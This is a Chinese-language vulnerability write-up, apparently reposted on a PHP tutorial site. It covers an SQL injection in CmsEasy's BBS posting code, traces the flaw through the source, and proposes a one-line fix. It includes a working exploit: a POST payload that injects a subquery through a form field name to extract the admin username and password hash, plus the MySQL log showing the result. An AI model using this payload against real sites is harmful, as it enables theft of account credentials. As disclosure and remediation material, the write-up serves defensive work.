网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

Cmseasy SQL注射漏洞之三及修复 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 注入。。bbs中发文章的时候 直接把$_POST数据带入 拼接sql功能函数中导致注入 bbs add-archive php 30行if($id = $archive-inserData($_POST)){直接带入整个$_POST bbs model db base php 38行public fu...

注入。。

bbs中发文章的时候 直接把$_POST数据带入 拼接sql功能函数中导致注入




/bbs/add-archive.php 30行


 

if($id = $archive->inserData($_POST)){



直接带入整个$_POST



/bbs/model/db/base.php 38行


 

public function inserData($data){
       $r = $this->odb->insert($this->tblName,$data); //在跟入
       if($r)
           return $this->odb->getInsertId();
       else
           return false;
}





/bbs/commonlib/db.php


 

public function insert($table, $data)
{
$sql = $this->getInsertString($table, $data);//拼接sql 继续看。。
   
return $this->execSql($sql);
}






 

public function getInsertString($table, $data)
{
$n_str = '';
$v_str = '';
$table = $this->filterString($table);

foreach ($data as $k => $v)//遍历数据  因为穿过来的是整个$_POST所以 我们可以任意控制 列明和值
{
$n_str .= $this->filterString($k).',';
$v_str .= "'".$this->filterString($v)."',";
}

$n_str = preg_replace( "/,$/", "", $n_str );
$v_str = preg_replace( "/,$/", "", $v_str );
$str = 'INSERT INTO '.$table.' ('.$n_str.') VALUES('.$v_str.')';
return $str;
}




 

public function filterString($str)
{

if ($this->magic_quotes)
{
$str = stripslashes($str);
}

if ( is_numeric($str) ) {
return $str;
} else {
$ret = @mysqli_real_escape_string($this->con, $str);

if ( strlen($str) && !isset($ret) ) {
$r = $this->checkConnection();
if ($r !== true) {
$this->closeDB();
$ret = $str;
}
}

return $ret;
}
}





过滤也没什么用 因为没过滤关键一些语句



里面还有一个360safe.php的脚本 但是 这个并不过滤键名 只过滤键值

还有一个变量名中的点和空格被转换成下划线。不过不用空格也是可以的。。



exp:

http://127.0.0.1/PHP/CmsEasy/bbs/add-archive.php?cid=1

(POST)

title=a&content)values(1,(SELECT(CONCAT(USERNAME,0x7c,PASSWORD))FROM(cmseasy_user)WHERE(USERID%3D1)))#=c&submit=a&verify=HKCX

mysql 日志 :




2070 QueryINSERT INTO cmseasy_bbs_archive (title,content)values(1,(SELECT(CONCAT(USERNAME,0x7c,PASSWORD))FROM(cmseasy_user)WHERE(USERID=1)))#,username,userid,ip,addtime) VALUES('a','c','123213','4','127.0.0.1','1403698291')






 

a0625201127.png




 

qwewqe.png


 

修复方案:

不要把$_POST提交过去。。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论